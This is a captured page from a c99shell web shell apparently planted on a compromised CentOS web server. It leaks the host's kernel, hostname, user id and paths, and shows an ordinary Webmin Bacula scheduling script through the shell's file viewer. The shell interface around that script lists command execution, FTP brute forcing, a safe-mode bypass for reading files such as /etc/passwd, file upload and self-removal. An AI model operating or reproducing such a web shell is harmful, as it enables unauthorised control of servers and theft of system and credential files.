!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bacula-backup/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     schedule_chooser.cgi (2.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a popup window for selecting a Bacula schedule

$trust_unknown_referers = 1;
require './bacula-backup-lib.pl';
&ReadParse();
&popup_header($text{'chooser_title'});

# Parse into month, day and hour parts
if ($in{'schedule'}) {
    $sched = &parse_schedule($in{'schedule'});
    }
else {
    $sched = { 'months_all' => 1,
           'weekdays_all' => 1,
           'weekdaynums_all' => 1,
           'days_all' => 1,
           'hour' => '00',
           'minute' => '00',
         };
    }
ref($sched) || &error($sched);
print &ui_form_start("schedule_select.cgi", "post");
@tds = ( "width=30%", "width=70%" );

# Show months section
@months = map { [ $_-1, $text{'month_'.$_} ] } (1 .. 12);
print &ui_table_start($text{'chooser_monthsh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_months'},
    &ui_radio("months_all", $sched->{'months_all'} ? 1 : 0,
          [ [ 1, $text{'chooser_all'} ],
            [ 0, $text{'chooser_sel'} ] ])."<br>".
    &select_chooser("months", \@months, $sched->{'months'}),
    1, \@tds);
print &ui_table_end();

# Show days of month section
@days = map { [ $_, $_ ] } (1 .. 31);
print &ui_table_start($text{'chooser_daysh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_days'},
    &ui_radio("days_all", $sched->{'days_all'} ? 1 : 0,
          [ [ 1, $text{'chooser_all'} ],
            [ 0, $text{'chooser_sel'} ] ])."<br>".
    &select_chooser("days", \@days, $sched->{'days'}, 8),
    1, \@tds);
print &ui_table_end();

# Show days of week section
@weekdays = map { [ $_, $text{'day_'.$_} ] } (0 .. 6);
@weekdaynums = map { [ $_, $text{'weekdaynum_'.$_} ] } (1 .. 5);
print &ui_table_start($text{'chooser_weekdaysh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_weekdays'},
    &ui_radio("weekdays_all", $sched->{'weekdays_all'} ? 1 : 0,
          [ [ 1, $text{'chooser_all'} ],
            [ 0, $text{'chooser_sel'} ] ])."<br>".
    &select_chooser("weekdays", \@weekdays, $sched->{'weekdays'}),
    1, \@tds);
print &ui_table_row($text{'chooser_weekdaynums'},
    &ui_radio("weekdaynums_all", $sched->{'weekdaynums_all'} ? 1 : 0,
          [ [ 1, $text{'chooser_all'} ],
            [ 0, $text{'chooser_sel'} ] ])."<br>".
    &select_chooser("weekdaynums", \@weekdaynums,$sched->{'weekdaynums'},5),
    1, \@tds);
print &ui_table_end();

# Show time section
print &ui_table_start($text{'chooser_timeh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_time'},
            &ui_textbox("hour", $sched->{'hour'}, 3).":".
            &ui_textbox("minute", $sched->{'minute'}, 3),
            1, \@tds);
print &ui_table_end();

print &ui_form_end([ [ "ok", $text{'chooser_ok'} ] ]);

&popup_footer();

# select_chooser(name, &opts, &selected, [cols])
sub select_chooser
{
local ($name, $opts, $sel, $cols) = @_;
$cols ||= 4;
local %sel = map { $_, 1 } @$sel;
local $rv = "<table>\n";
for(my $i=0; $i<@$opts; $i++) {
    $rv .= "<tr>\n" if ($i%$cols == 0);
    $rv .= "<td>".&ui_checkbox($name, $opts->[$i]->[0], $opts->[$i]->[1],
                  $sel{$opts->[$i]->[0]})."</td>\n";
    $rv .= "</tr>\n" if ($i%$cols == $cols-1);
    }
$rv .= "</table>\n";
return $rv;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--